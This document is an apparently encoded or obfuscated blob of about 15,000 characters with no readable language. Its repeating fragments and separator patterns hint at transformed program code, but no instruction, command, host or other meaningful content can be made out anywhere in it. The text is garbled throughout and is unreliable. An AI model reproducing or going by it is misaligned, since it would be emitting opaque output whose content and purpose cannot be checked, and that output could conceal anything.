OCVSWNNGGmmGGGG	\mGmCPR_Q8GGZGGG\mGGGGGGOCVSWGGGGGGGCV^ST WNGGmmmGGGGO8V ROCV^ST WNNGmGQ^	__	
POCV^ST WN\mGGGCPR_Q8GGGGGZG\mGmGGGmGGGGGOCPR_Q8NGGmmmGGGO8Q TO_^PNO	QU 
O^WSNNGGGGAAGG	QU 
O^WRNO^8UVUVO^WQNNNGC ^8WUUZR_WR\C8TZC ^8WUUBVQ\mG88O
	8O^8UVUVO^WPNNN\mGmGGGGGGGmmGGGGO3GGGGGC  PNGGmWS	V VQPO	QU 
O^W_NKGGGC  PN\mGGGGGGGGGGGGGO"	GGGC  PNGGGGmmGGmGGG		G^U	OC8W88W_VWKGCUP	^NmGmGGGGGGOCUP	^GGZZZGGGGWW RUO^W^NNGmmC 	GGZGGGGAC +(%&+4<^8UVUVO^VWN:\mmmmGOFOC 	<	QU 
O^W^N:NGGF^8UVUVO_SWNOC 	<	QU 
O^W^N:NNGmGGGGGGGG	GGC8W88W_VW\mGmGGGGC8		WV
_W	GGZG	O8Q TOTWWNNGGXGG078$()3")38#.5GG]GGGO	O	QU 
O^VVNNGXG&%47&3/GGGIGGGWW RUO_STNG]GGGGEEN\mGGGGGGOC8		WV
_W	GGGGGGZZZGGEENGmGGGGGGG	GC8W88W_VW\mmHHG07G"	G5GGGmmGGCU	Q	P SGGZGOWW RUO^VUNGGGZYGG^8UVUVO^VTNKGGGG^8UVUVO^VSNGZYGGWW RUO^VRNN\mGOCU	Q	P SGGGGGGGGC
VQVS^GGGGGGZYGGGCPUR^ _NGC 
^UZOWQULW^N\CS_VZC 
^UB_\mGGGGOFOC 	<	QU 
O^W^N:<C
VQVS^:NNGGGmmG		\mmmmmGGCT_^VP_RGZG'	QU 
O^VQNOC8		WV
_W	GGIGGG@H@GIGC
VQVS^N\mGGGGGGGGGOFWW RUO^WTNOCT_^VP_RNGGG8Q TO^VPNOCT_^VP_RKGWW RUO^V_NGGGGIGGGGCPUR^ _GGIG	QU 
O^V^NNGGGZZZGGGGGNGmGGG		\mmGmGGGC
8S
  UGGGGZGWW RUOS^WNOWW RUO^UWNGIGGGGGCPUR^ _GGGGGGIG	QU 
O^UVNGGGGIGGCPUR^ _GGGIG	QU 
O^UUNKGGGGEEKGCT_^VP_RN\mmmGGOF	QU 
O^UTNOC
8S
  UNNGGGmmGGG		\mGGGGmmmmGC
8S
  UGGGZG	QU 
OQQUNOC
8S
  UN\mGOC
8S
  UGGZZZGEEGGGGGGGGC
8S
  UGGZZZGGGG^8UVUVOPSPNGGGGGGGC
8S
  UGGGZZZGG	QU 
OURUNNGGmHHG07G4G+ GGmm	OC 	<8Q TO^W^N:<C
VQVS^:N\mGGGmGGGmmG	GGGGC8W88W_VW\mmmGGmGGGGGOCUP	^GFZZGWW RUO^USNNGmG	GGGC8W88W_VW\mGGmGC 	GGZGAC +(%&+4<8Q TO^VWN:\mGGGGGGC
QW8 QGGGGZGGGGGGWW RUO^URNO^RRONN\mmGOOC 	<8Q TO^USN:<C
QW8 Q:NNGmGG	OC 	<^8UVUVO^UQN:<C
QW8 Q:N\mGGGGmGG	GGGC8W88W_VW\mGmGGGGGOF	QU 
O^WRNO8Q TO^UPNNNGGGGGmGGGGGGG		GGGGVVRQVONmGGGGGmGGGGGOFGSS	_8

8VQONNGGm	\mGmmmC	S^RWGGGZGGWW RUO^URNO^RRONN\mCWU W
GGZG	QU 
O^URNO^RRONKGGGG	QU 
O_SUNN\mGGGGGGCTGZGGGCWU W
GGIGGG@H@GGIGC	S^RW\mmmmGGGG8Q TO^U_NGGIG8OC	S^RWNGIGGGWW RUO^U^NGGGGGGIG8OCTNGIG	QU 
O^TWN\mGGGGGGWW RUO^TVNGGGIGGG8OC	S^RWNGIGGGGWW RUO^TUNGGGIGGG8OCTNGGIGGWW RUO^TTN\mmmmGmmGGGGGGmGGGGOFWW RUO^WRNO^8UVUVO^TSNNNGGGGmGGG		GG
Q
 88OCQW8QNmmGGGOFGGGGG^8UVUVO^TRNOCQW8QNNGGGmGG	GCQW8Q\mGmC	S^RWGGGZGGV8QU_8ON\mGGGGGOOCQW8QJY	<C	S^RW:NNGm	OCQW8QJY	<C	S^RW:N\mGGGGmGGGGG	GCQW8Q\mmmGGmHHG		GmmmGGGGGGGOF^8UVUVO^WRNO8Q TO^TQNNNGmmGGG		GGG	PQR OC 	NmGGGmGGGC	
QRVGGGZGV8QU_8ON\mmmmGGGGGGOOC 	<C	
QRV:NNGGmGGGGGGG	OC 	<C	
QRV:N\mGmGGGGGCWU W
GGZGGWW RUO^URNO^RRONKGGGGWW RUO_SUNN\mGGGCTGGZGCWU W
GGIG@H@GGIGGGGG^8UVUVO^URNO^RRONN\mGGGGGGOOC 	<CT:NNGGmGG	OC 	<CT:N\mGGGmGGG	GGGGGC 	\mGmGGGGmmmm		GGS_ V 8VOC88	NmmmGGGGOFGGG8Q TO^TPNOC88	NNGmGG	GC88	\CP 
SSTZ_SUR\CV88RRZCP 
SST9^Q\mmmmmGGGCPURGZGEE\mGGGGGGO8Q TO^WRNO8Q TO^T_NNGGAAGGGGWW RUO_U_NO^RRONNNGGGGmGGGGGGGC8TPU
GZG 8 	8O^RRONKGGGGKGGN\mmmGCPURGGGZGGGGGOC8TPU
<WW RUO^T^N:NGXGGGGGGC8TPU
<^8UVUVO^T^N:GGGG]GGEE\mmmGmGGGC8_
8GGGGGZGGGGO^8UVUVO^SWNKGGGGG8Q TO^SVNN\mGGGGOC8_
8GGGC ^8NGGGGmGGGGGGGGGGOFGGOC88	<C ^8:<WW RUO^SUN:NGGGGGGGFGG8Q TO^TPNOC88	<C ^8:<8Q TO^SUN:NNGGGmGGGGG		\mmGGGGGGGGOC88	<C ^8:<8Q TO^STN:GGGGGCGGGZYGGGGCSVNGmGGGGGGO8Q TO^VPNOCKGGV8QU_8ONNGGGFZZGGGGGGCGGZZZGGGGGGV8QU_8ONNGmmmGGG	OC88	<C ^8:<^8UVUVO^STN:<C:N\mG		\mGGGGGGGGmGGGGGOCPURGGGGFZZGEEGGAAGCGGGGZZZGGGCPURNGGGGGGmG	OC88	<C ^8:<	QU 
O^SSN:<C:N\mG		\mGGGGGGmGmmGGOOWW RUO^SRNKGWW RUO^SQNNGGGGGGC
P
 NGGGmHHGG		G	mmCRQVWGGGGGZGGGOC88	<C
P
 :<	QU 
O^SSN:NGGAAG	QU 
O^TPNOC88	<C
P
 :<^8UVUVO^SSN:NGGGXGGGGGC88	<C
P
 :<8Q TO^SSN:GG]GGGGON\mGGGOFCRQVWNG		\mGGGC_RW
QGGGZG	OWW RUOQTSNNGGGXGGG07*287+2 .)8#.5GGGGG]GGGO	O8Q TOTWWNNGGXGG078$()3")38#.5GGGGIGGG8Q TOVRNGG]GGGGGEEN\mGGGGGGGCQVUVUPQ^GGGZGON\mGGGGOCPURGGGGFZZGGGGEENGGGGCQVUVUPQ^<:GGZGGCPUR\mmmGCQVUVUPQ^<:GGGGZGGGWW RUO^SPNO^RRONN\CP	^	VZUT_R\C8	_ZCP	^	VBR\mGGGGGGGGGOC_RW
QGFZZGGGEEGGAAGG'8Q TO^S_NOC_RW
QNGGGGAAGGWW RUO^S^NO8Q TO_SQNNNGmGGGGGOONG'8Q TO_SQNOC_RW
QGGGGGGIGGGWW RUOQTPNNGGGGGC	RNGGGGGGmGGC QWGZGGG'WW RUO^VQNOC	RKGGKGGGGG	KGGGWKGGGOVU_W^JSQVPNN\mGGGGGGOF	QU 
O^UTNOC QWNGGGGG^8UVUVO^VPNOC QWKGWW RUO^RWNNGGZZZGNG		\C W Q	VZVRT_T\CV ^SPZC W Q	V9V_S\mGGGGGGO	QU 
OPPNO8Q TO^RVNKGC QWKGGGCPUT	TNNGmGGCSVRGGGGGZGG	QU 
OQQUNOCPUT	T<V:N\mGGOCSVRGFZZGGGEENGCQVUVUPQ^<:GGGGZGGGCSVR\mGmGGGGGCQVUVUPQ^<:GZGGG8Q TO^SPNOC	RN\mGGGGGmGGmGGGOCRQVWGGGGGGGCGGZYGGGGCSVNGGGmGGOCQVUVUPQ^GGGGGGGC  S^
RNGGGmGGGGGGGGGGOCGGZZZGGGGC  S^
RGGGGGGGCGGGZZZGGGG	88OC  S^
RNNGGGGGGmG	OC88	<C
P
 :<WW RUO^SSN:<C:N\mGGG\mGGGGmGGGmGGGGmmGC 	GGGGGZGGOC88	<	QU 
O^RUN:<^8UVUVO^RTN:NGAAG^8UVUVO^TPNOC88	<WW RUO^RUN:<^8UVUVO^RTN:NGXGGGGC88	<8Q TO^RUN:<WW RUO^RTN:GG]GGGON\mGGGOC 	NGmC8		WV
_W	GZGGGG	O	QU 
O^RSNNGXGGGGGG078$()3")38#.5G]GO	O	QU 
O^VVNNGGGGGXG&%47&3/GIGGG	QU 
O_STNG]GGGGGEEN\mGCU	Q	P SGGZGO	QU 
O^VUNGZYGG	QU 
O^VTNKGGWW RUO^RRNGGGZYGWW RUO^VRNN\mmmGGGOC 	GGGCGGGGGZYGGGCSVNGGGGmGGGGGOFOCU	Q	P S<C:NGGGGGC8		WV
_W	GGZZZGGGEENGGGG		\mGGCT_^VP_RGGGGZGG'^8UVUVO^VQNOC8		WV
_W	GGIG@H@GIGGGGGGCKGGKGGG	KGGGGGWKGOSTW^JUVTNN\mGO^8UVUVO^RQNOCT_^VP_RNGGAAGGOWW RUO^VPNOCT_^VP_RKGGG	QU 
O^V_NGGIGGCU	Q	P S<C:GGGIGGWW RUO^V^NNGGFZZGGGGGGGG8Q TO^RPNOCT_^VP_RKGGG^8UVUVO^R_NNGGGFZZGGGGGGNNGmGG	OC88	<8Q TO^R^N:<WW RUO^RTN:<C:N\mmmGGGmmmGmGGGGmGG	GC88	\mmGGGGGmG		GG_SSPQ	_TOCWQ__	NmGGGGGGmGGGGGGGGOFGGGGWW RUO^QWNOCWQ__	NNGGmGGG	GCWQ__	\mGGmmGGGGGGC	SQVR^GGZGGGGG^8UVUVO^QVNO^RRONN\mmC_T V	GGZGGGGGG^8UVUVO_WWNOC	SQVR^KGGGGGG7&3/.)!(8!.+")&*"N\mCWPGGZGOmGGGO^8UVUVO^QUNGGZYG@D@GGGGGIGG	QU 
O^QTNOC	SQVR^KGG@D@NGGGIGWW RUO^QSNKGGG	QU 
O^QRNGGGZYGGNKmGGO8Q TO^QQNGGGGZYGGWW RUO^QPNGIGGG8Q TO^QTNOC_T V	KGGG@D@NGGIGG8Q TO^QSNKGG	QU 
O^QRNGGGZYGNKmGGN\mGGGGGGOOCWQ__	<8Q TO^Q_N:NGAAGG8Q TO^QWNOCWQ__	<	QU 
O^Q_N:NNGGGGmGGGGGGGOCWQ__	<WW RUO^Q_N:GGGC^UQ8GZYGGC
8WP8NGGmGGGGGOFGGGGG^8UVUVO^QWNOC
8WP8NGGGGGFGG8Q TO^Q^NOC^UQ8NNGGGm		\mGGGGGGGmGGOFGGGGGOCWQ__	<8Q TO^PWN:<C^UQ8:<^8UVUVO^PVN:NGGGGGFGGGWW RUO^QWNOCWQ__	<8Q TO^PWN:<C^UQ8:<	QU 
O^PVN:NNGGmGGGCWQ__	<WW RUO^PWN:<C^UQ8:<^8UVUVO^PUN:GGGZGGGGGON\mGGGmHHG		G  GG07G+G7mmGGGOCWPGGGGGC
QP
TSNGGGGmGGGGGGCWQ__	<^8UVUVO^PTN:<C^UQ8:<8Q TO^PSN:<:GGGGGZGGGGC
QP
TS\mmGGGGGGGmGGmGmm	GGCWQ__	\mGGmmG		GGVR VST ONmGGGmmmmGGmmGGGGGGGGOFGGGGG	OWW RUO^PRNNGGGGGGGG		OWW RUO^PQNNGGG[GGGGORP9QUNNGGGmG	\mGGGGmGGGGOWW RUO^PPNO	QU 
O^P_NKGNNGGGmGGG	\CTV	
RZOWPLWN\C_8QVVZCTV	
RBVT\mGGGGGGGmGCTSRGZGGWW RUO^P^NO^RRONN\mGGGC	8UUWGGGZGGGGGG	O8Q TO_UUNNGGGXGG0787+2 .)8#.5GGGG]GEE\mGC8UVRGZGGGOmmmGGGGGGGGC	8UUWGGGGIGG8Q TO^_WNKmC	8UUWGIGGGG	QU 
O^_VNKmGGC	8UUWGGGIGGGG^8UVUVO^_UNKmGGGGGGGGN\mGGGGGGCTV8_SR^^GGZGEE\mmGGGGGGGGGGOC8UVRGGGGGGGC	S^RWNGGGmGGGGOC	S^RWGFZZGGGEEGGGGAAGG'^8UVUVO_PWNOC	S^RWNGGAAGGG'8Q TO_QWNOC	S^RWNNGmGCTV8_SR^^GZGGGGC	S^RW\mG\mmmmHHG*46+G	G		]GGmmGGGGGGGOCTV8_SR^^GZZZGGGEENGGm	\mmmmGmmmGGC 8
 	TGGGZGGGGGG^8UVUVO^_TNOCTV8_SR^^N\CR_Z^TS\C
P_QPSZOCR_YWNXCR_]JCR_\mGGG88 O		GOC^8 TT	UNGGGGGGGOC 8
 	TNGmGGGGGOOC 8
 	TGGGGGGIGGG@H@GGIGGGC^8 TT	UGGIGGGGG8Q TO^_SNKGGGC 8
 	TGGGGIGGGGG@H@GGIGGGGC^8 TT	UGGIGGG8Q TO^_RNNGGGGGGGCS
^VNGGmGGGGGGGO'	QU 
O_PWNOCS
^VNNGGmmmm	8	GGCS
^V\m	\mGGmmGGN\mGCWUWRGGZGG'	QU 
O^_QNOCTV8_SR^^N\mmmmGGOCWUWRGGGGGGZZZGGGGGG^8UVUVO^_PNOCWUWRKGGGG^8UVUVO^__NNGGGGGGZZZGNGGmHHG07G%G3	
]GJJG	
J
mmmmG	\mmGCWUWRGGZGG	QU 
OS^WNO	QU 
O^_^NKGGGEEKGGGCWUWRN\mmmmGGGGGGGCWUWRGZG8Q TO^^WNO	QU 
O^__NKGG	QU 
O^^VNKGGCWUWRN\mGCPWGGGZGVTWRV
ROV	
UUONKGGWW RUO_T^NN\mmmmGGGGGGOCPWGGGGZZZGGNGGGmHHG7/7G_ITG	GGmmGGGGGGG	\mGGGGGmGGG'WW RUOV^^NOCPWKGG	QU 
O^^UNGGGIGGGCWUWRN\mGGm'	GGCPW\mGGGGGG	GmGGGGGU	U8OCPWN\mGGGmHHG*46+G_G$3"]G		GJmmmGGGGGGGCTV
8PQSGGZGGG8Q TO_WWNOCTSRKG7&3/.)!(8!.+")&*"N\mGGGGGGGGC +(%&+4<WW RUO^^TN:GGGZGGCTSR\mGC +(%&+4<	QU 
O^^SN:GGGGZGGGCTV
8PQS\mGGGGGGGGCP^U GZGG^8UVUVO^^RNmmmGGGGGIGG	QU 
O^^QNmmmmIGG8Q TO^^PNmIGGGG8Q TO^^_NmIGG	QU 
O^^^NmGGGIGGGG@@mGGGGIGGG	QU 
OVWWWNmGGGGIGG@@mIGGGG@@\mGGGGCTQV _GZGGVTWRV
ROV	
UUONKG	QU 
O_T^NN\mGGGOCTQV _NGGmG'8Q TOV^^NOCTQV _KGGGCP^U N\mGGGGm'	GGCTQV _\mGGG	GGGmGGU	U8OCTQV _N\mmmGGGO3GGC  PNGGmmWS	V VQPO8Q TOVWWVNKGGGGC  PN\mGmmmmGGGGGO"	GGC  PNGGGGGGmHHG	G	mmGGGmGmGGGOF8Q TO^S^NO8Q TOVWWUNNNGmG		GG_S	PW8SSOCR
8Q
KGGCQRSWW NmGGGGGGmGGGGOFGGWW RUO^QWNOCR
8Q
NNGGGGmGGGG	GGGGGCR
8Q
\mmmGGGGmGGGCTVSGGGGZGO	QU 
OVWWTNKGGGGG8Q TOVWWSNKGGGG	QU 
OVWWRNKGGGGGG	QU 
OVWWQNKGWW RUOQWSNN\C 	PZUTQP\C U8_ZC 	PBVP\mGGGGGGOCTVSGGGGCNGGGmGGGGGGGGGOFGGGOCR
8Q
<C:NGGGFG8Q TO^QWNOCR
8Q
<C:NNGmGGGG		\mGGmGC^

V
V
GZGON\mGGGGGGGOCR
8Q
<C:GGGGC
UPTNGGGmGGGGGOFGGG^8UVUVO^QWNOC
UPTNNGmC^

V
V
<:GGGZGGC
UPT\m		\mmCSW	U8SGGGZGGGOC
UPT<8Q TOVWWPN:NGGGXGGGGGC
UPT<^8UVUVOVWWPN:G]GGEE\mGCTV
8PQSGGGGZGOC +(%&+4<^8UVUVO^^SN:NGGXGGC +(%&+4<	QU 
O^^SN:GGGGG]GGGEE\mmmmGGGGGGGOCSW	U8SGGGGGZZZGGCQRSWW GGGGGGGGOCTV
8PQSGFZZGEEGGGGAAGCSW	U8SGGZZZGCTV
8PQSNNGGmG		\mmGGGGGGmGC^

V
V
<:GZGGG_S	PW8SSOC
UPTKGGCQRSWW N\mmmmmGGCR
8Q
<C:GGGZGGGC^

V
V
\mGGmm	GGCR
8Q
\mmGmGG		GUPUWV8VONmmGGGGGGGmmmGGGGGGGO	QU 
O^S^NOWW RUOVWW_NNGGGAAG 8		O^8UVUVOVWW^NNNGGmGGGGGGGG	\mGmC	WQW
GZGGG'	QU 
OUVWNO^RRONN\mGGGGGGGGGGOC	WQW
GGGAAGC	WQW
GGGGYGGOS^UWL_WNGAAGC	WQW
GG[GGOS^^^^^VL^NGGGGGGAAGF8
 _R_^O^RRONNNGmHHGG	mmGGC	RWQ	
TV	GGZG'WW RUO^_QNO^RRONN\mGGO^8UVUVO^RQNOC	RWQ	
TV	NGAAG	QU 
OVWVWNOC	RWQ	
TV	NGZZZGGC	WQW
GGAAGGGW^RTOC	RWQ	
TV	NNGGmGGGGGGOSS8^

TVO^RRONKGG_^UQUSOC	RWQ	
TV	NNNGGGGGmHHGGmmGGVVU
O^RRONN\mGS_R^W8O^RRONN\mGGGGGmGGmmmm	OC	RWQ	
TV	N\mmmGGmCTQ8
TGGGZG'WW RUOUVWNO^RRONN\C8TPTWZOWS^LWRN\C8UTZC8TPTWBT\mmmmC
8R8GGGGZGGCTQ8
TGGGAAGCTQ8
TGGGYGOWSSRLWSTN\mmmmGGGGGGGGOC
8R8GAAGGGCTQ8
TGYGGORUSU_PQPLTTNNGmGGGGGC
8R8GZG\mGGGmGGGGGGGOC
8R8NGGmGGC	QR GZGG'	QU 
OVWVVNO^RRONN\mGGGO	QU 
O^RQNOC	QR NGGGAAGWW RUOVWVWNOC	QR NGGGGYGGGGOVWS_RRQLUWNNGC	QR GZGGGGG8 	  OC	QR N\mGGGGOF8Q TO^RQNOC	QR NGGGGGFW^RTOC	QR NNGGmC
8R8GGZGG\mGGGGGGmGGC_ SRW8_GGGGZGGGU^ _UO^8UVUVO__PNKGEEN\mGGGCRQ8 GGZGGGGUVP
8OC	QR N\mC	WP8PT_GGGZGGUVP
8O^8UVUVOVWVUNOC_ SRW8_NGGGXGC_ SRW8_GGG]GEEN\mGGOCRQ8 GGGGGFZZGGGEEGGGGAAGGGOC	WP8PT_GGZZZGGGGGGEEGG	8
OC	WP8PT_KGCRQ8 KG@[@NNNGGmGGGGGGGGCVRTR
_	GZGGG8Q TO_QQNOC	QR N\mmmGC8 R^ P GGZG'8Q TO_PWNOWW RUO^_TNO^RRONNGIG^8UVUVOV_WNGGGIGGGCVRTR
_	N\mGGGGOFC8 R^ P NGGGCR_WZ7/78*&-(581"54.()\CWRT^VWZCR_WMV\mmGGGGGGGGCRW8	GGGZG 8	OWW RUOVWVTNN\mGGO8Q TOVWVSNOCRW8	NGGAAGGGGG8Q TOVWVRNOCRW8	KGGCVRTR
_	GGGGIGG@@NGGGZZZGGWGGGAAGG8Q TORRSNONGGJGO	NG^8UVUVOVWVQNOCRW8	KGGG8Q TOVWVPNOCRW8	KGGG@@NGGLGVNGGG[GGGGGGO_QTQPLTTNNGC8 R^ P GZGGGG\mGGmGGGGGGGGOC8 R^ P NGGC
8R8GGGZG\mmmGGOFC8 R^ P GAAGGWW RUOVWV_NOC_ SRW8_NGGGAAGGOC_ SRW8_GGZZZGGEEGGGGC	WP8PT_GGZZZGGEEGGGGG	8
OC	WP8PT_KGGCRQ8 KG@[@NNNGG_8U^ P O^8UVUVO__PNKGGC	QR KGG8Q TO___NN\mGG	OCVRTR
_	KGC8 R^ P KGGCRW8	N\mGGGGGGGGGO^8UVUVOVWV_NOC_ SRW8_NGGAAG	QU 
OVWV^NOC_ SRW8_NGYGGGGOS^PLTNGGAAGWW RUOVWV^NOC_ SRW8_NGG[ZGGGOVQQ^^RTJQUVTPPNGGGGAAGGGGFS
WTWROC_ SRW8_NGGAAGGW^RTOC_ SRW8_NGAAGGG^8UVUVOVWUWNOC	QR NGGGGFZZGGG8Q TOVWUVNOC_ SRW8_NNGGGGGmGGC
8R8GGGZG\mGmmmGmmGOC
8R8NGmGGGOWW RUO^S^NO8Q TOVWUUNNNGmGGGGGGGG8		O8Q TOVWW^NKGGGGVKGOTRTULQ_NN\mGm	\mmmGGmHMG	G
GMHmmmmmGGGGGGO8
 _R_^O^RRONNNGGmGG	\mGGGGGmHMGJ	GJ	GMHmmCTR8GGZGWW RUO^_TNO^RRONN\mmmGGGGGGGGGGOFGG'	QU 
O^S_NOCTR8NNGGGGmGGGGGGPTV8
OCTR8KGGGO^SQJSRTNKGN\mGmGCW GGZGGGGGGU^ _UO	QU 
O__PNKGGEEN\mGGGGGGOFCW GGGGGGGF	QU 
OVWV_NOCW NNGGGmGOF 8		O^8UVUVOVWUTNNNGGGmGGWS	V VQPOWW RUOVWUSNKGWW RUOVWURNN\mGGGG8		O^8UVUVOVWUQNKGGGGVKGGOWSTLWUNN\mmmGmGmGGGGGGOCW GAAGWW RUOVWV_NOCW NGGAAG8Q TOVWV^NOCW NGYGGOS__LVUNGAAGG8Q TOVWUPNOCW NGG[ZGOVWS_SP^L^PNGGAAGFS
WTWROCW NGGGGAAGW^RTOCW NNGGmHHG07GQIQGG		 GGmmC	R8GGGGZGUVP
8OCW N\mGGGGGGGOC	R8GGGGFZZGGGEEGGGGAAGGG	8
OC	R8KGGGG^8
U_U
ONKGGG@[@NNGGGGm	\mGmmmGC8RGGGGZGG	QU 
OVWU_NO^RRONNGGGGGIG	QU 
OVP^NGIGGGGWW RUO^P^NO^RRONKGG	QU 
O^_RNN\mGGGGGCRUU	TGZG'WW RUO_PWNOC8RNGGXGGG	QU 
OQQUNOO	 NG'^8UVUVOVWU^NOC8RNNG]GEE\mGGGGGGOCRUU	TGGGGFZZGEEGAAGG	QU 
OVWUVNOCW NGZZZGGGCRUU	TNGGmmmGG	\mGGmmmm



T_WO^RRONKGGGGGOTRRLQRNN\mGGGC	 VGGGGZGSS8^

TVO^RRONKGG_^UQUSOCW NN\mGGGGGGGOC	 VNGGmGGGGGVVU
O^RRONN\m



T_WO^RRONKGOUWUL^WNN\mGGGGS_R^W8O^RRONN\mmG	W
_RUTTON\mGQT88^ON\mGGGGGGGVRQU8O^RRONN\mGGOWW RUOVWTWNOWW RUOVWUUNNNGGGmm8		OWW RUOVWW^NKGGGGVKGOTRQVLT^NN\mGmGGGGGO^8UVUVOVWTVNOWW RUOVWTUNNNGmGGGG8		OWW RUOVWTTNKGVKGOVPUQLPSNN\mGmGGmGGGGO3GGGGC  PNGGGGmGGWS	V VQPO^8UVUVOVWUSNKGC  PN\mGGGGGGGO"	GGGGC  PNGGmmmmmmGmG		GGGGG	 ^ 	U^ ONmGGmmmGPTSQQ	

TO	QU 
OVWTSNKGGG8Q TOVWTRNN\mPTSQQ	

TO^8UVUVOVWTQNKGGG^8UVUVOVWTPNN\mGO8Q TOVWT_NO	QU 
OVWT^NNNGGm
8	OWW RUOVWSWNKGWW RUOVWSVNN\mGGGG
8	O	QU 
OVWSUNKGG	QU 
OVWSTNKGGGGOPLTNN\mGGGGG
8	O	QU 
OVWSSNKG	QU 
OVWSRNKGGGOVL^NN\mGGGmGm		GGGWWW		WUT^ONmGGGmGGGGmHHG07G%$	]G	GmmGGGGGGCGGGZGGGGGC +(%&+4<WW RUOVWSQN:\mGGGCT_P_U8GZGGGGCJYGGGGGIGGGGG	QU 
OVWSPN\mGGGC	VWUGGZG@4@GGGIGGGWW RUOVWS_NGIGGCJYGGGGGIGGGG8Q TOVWS^NGGIGGCJY
GGGIGG	QU 
OVWRWN\mmmmGGG	GGCJY 8OCJYOC	VWUKGGCT_P_U8KGGWW RUOVWRVNNN\mGGGGGGGGGGO3GGGC  PNGGGGGmGGGGGGWS	V VQPO	QU 
OQS_NKGGGC  PN\mGGGGGGGGO"	GGC  PNGGGGmGGmmGG	GGON\mGGm		G88TQ
8	^UUOCPRNmGGmHHG	G
 JmmCTGGGZGGGGON\mC	W^ SSGGGZGG		GGOCRTNGmCRT<WW RUOVWRUN:GGGGZGEE\mGGG	GGCRT\mGG\mGGGGGmGGGGOFGG	QU 
OVWRTNO	QU 
OVWRSNNGGGGGFGWW RUO^PPNO^8UVUVOVWRRNNNGm	GGGCT\mGGmGGGGOFGGG^8UVUVO^QWNOCPRNGGGGG
OCPRNNGGGGm	GCT\mGmCVUWQGZGWW RUORRSNONGGGLGGGGOWLWSNGGMGGGGOQSUU_LUUVPUN\mGC8GGGZGGWW RUOVWRTNOWW RUORVSNNGGGGGAAGGGGGG8ON\mGC8UUGZGGGC8GXGGGWW RUOVWRQNG]GGGG^8UVUVOVWRPN\mC
_ W S_GGZGGGGGGC8GGGXGGGO	OWW RUOVWR_NNGGGGXG4"$25"8&23/8$((,."GG]GGGGEENGGG]GGO	OWW RUOVWR^NNGGGGGXGG&23/8$((,."GGGG]GGEEN\mGGGGGGGGC	
^	GGGZGG	O	QU 
OVWQWNNGXG+(  "#8.)8$((,."GGG]GGGEE\mGGGOFGC
_ W S_GGGGFGC	
^	NGm	GGCT\CTU_ZRTMP\C_SZCTU_JVW\mGmGGGC	V^GZGG	OWW RUOVWQVNNGGGGAAGGG$((,."8#(*&.)GGGXG8Q TOVWQUNO$((,."8#(*&.)KGG@I@NG]GGPQ
P
WS	U^OEEN\mGGGC S T8VVQP^TGZGGGGGG	O^8UVUVOVWQTNNGGXGG$((,."7&3/GGGG]GG@H@\mGGCWPT
8UGZG	O8Q TOVWQSNNGGXGGGGG&#*.)8$((,."87&3/GGG]G^8UVUVOVWQRN\mGC  8_GGGGGZGGC8GGGGGXGGGG	QU 
OVWQQNGG]GGWW RUOVWQPN\mGC
TPSP	QGZGE;E\mGGPTSQQ	

TOWW RUOVWQ_NKGGGC	W^ SSKGWN\mCU^W88SP

GZGG^8 WP_O^8UVUVOVWQ^NN\mCUUWVSWQ8GGZGGG^8UVUVOVWRTNO8Q TOPQTNNGGXG' 8	OCU^W88SP

KGONNGGGG]GGGON\mGGGGGGOF8Q TO^QWNOCUUWVSWQ8NNGGGCUUWVSWQ8GGGGZGGGON\mGGGGGGGC^V8GGGGGZG\mC	RTS^GGGGZGGW\mGGGGGOCPRGGGGGCS8TUSUVNGGGmGGGGGOFGG8Q TO^TRNOCS8TUSUVNGGGGGGGGFGGCS8TUSUVJY.#GGFGGGGCS8TUSUVJY8 	NGGmGGG		\mGmGGGGOC	RTS^GGYZGGGGGOVUU9VUVNNGGGGmG\mmHMGG	GMHmmGGC SSPGZGO	 NGGCS8TUSUVJY8 	\mmmmGGGGOOCUUWVSWQ8<C SSP:NGGGGGAAGGO	NGGGCUUWVSWQ8<C SSP:GGYGGGG8Q TORRSNONGGGGGLGUGGGMGGGO_QTS_LRUNNGGGGCZPQVU\C	PU_Q8ZCBVU\mGGGG		\mGGmGG88OCS8TUSUVJY.#KGWW RUOVWPWNN\mGGGGGCRS GZG 88
OCS8TUSUVJY.#KGGGWW RUOVWPVNKGGN\mGGGGGGGOWW RUO^QWNOCRS NGGGGAAGGWW RUOP^_NOCRS NGYZGO^LVNNGGGGmCW^RRVR8
GZGGON\mmmmGGGGGGGGGOCRS GGGGGC	WUR^GGGGZYGGGC^QTSUNGGGmGGGGGGGGOOC^QTSU<WW RUOVWPUN:NGGGGGAAGGC^QTSU<WW RUOVWPUN:GYG8Q TORRSNONNGGGGmGGGGGGGGCW^RRVR8
<C	WUR^:GZGGGC^QTSU\mGGmGGGGmGGGO8Q TOVWPTNOCW^RRVR8
NGGFZZGGG8Q TOVWPTNOCRS NNGGGmG88
OCS8TUSUVJY.#KGGG8Q TOVWPVNKGGGCW^RRVR8
N\mGGGGGGGmmmGmGGGGGG88OCS8TUSUVJY.#KG8Q TOVWPWNN\mmC_T
VGGZGGWW RUOTW_NOOWW RUOVWRRNKGGG	QU 
OVWPSNNKGGGGGGCS8TUSUVJY.#N\mGC8_RGGGZGGGGGC_T
VJYOCVUWQN\mC^SGGGZGON\mGC^S<:GGZGC	V^GGIGGGC
TPSP	QGGIGGWW RUOVWQQNGGGIGGC
TPSP	QGGGGIGC S T8VVQP^TGGGIGGGGGC
TPSP	QGIGC  8_GGGIGGC
TPSP	QGIGCVUWQGIGC
TPSP	QGGIGC	
^	GIGGGGC
TPSP	QGGGIGGG8Q TOVWPRNOCS8TUSUVJY.#KGGCVUWQKGGGG	QU 
OVWPQNKGGGC8_RN\mGGGGGGOC
_ W S_NGGmGGC^S<:GGGGZGGGC	V^GGGGGIGGC
TPSP	QGGGIGGGG	QU 
OVWPPNGGGGGIGGGGGC
TPSP	QGIGGGGCWPT
8UGGIGGGC
TPSP	QGGIGC  8_GGGGGIGGGC
TPSP	QGGGIGCVUWQGGGGGIGC
TPSP	QGGIGC
_ W S_GGIGGC
TPSP	QGGGIGGGGWW RUOVWP_NOCS8TUSUVJY.#KGGCVUWQKGGGGC8UUKGGGGC8_RN\mGGGmHHG5GG]G	G
 JmmGCT<CS8TUSUVJY8 	:GGGZGGC^S\mmmmGGGGGCUUWVSWQ8<C SSP:GZGGGGCVUWQ\mGC^V8GGZGG\mGC	RTS^LL\mGmGGGGOC^V8GGGGAAGWW RUOVWP^NO	QU 
O_P^NNNGmGGGG'8	OCU^W88SP

KGCUUWVSWQ8KGGGG	QU 
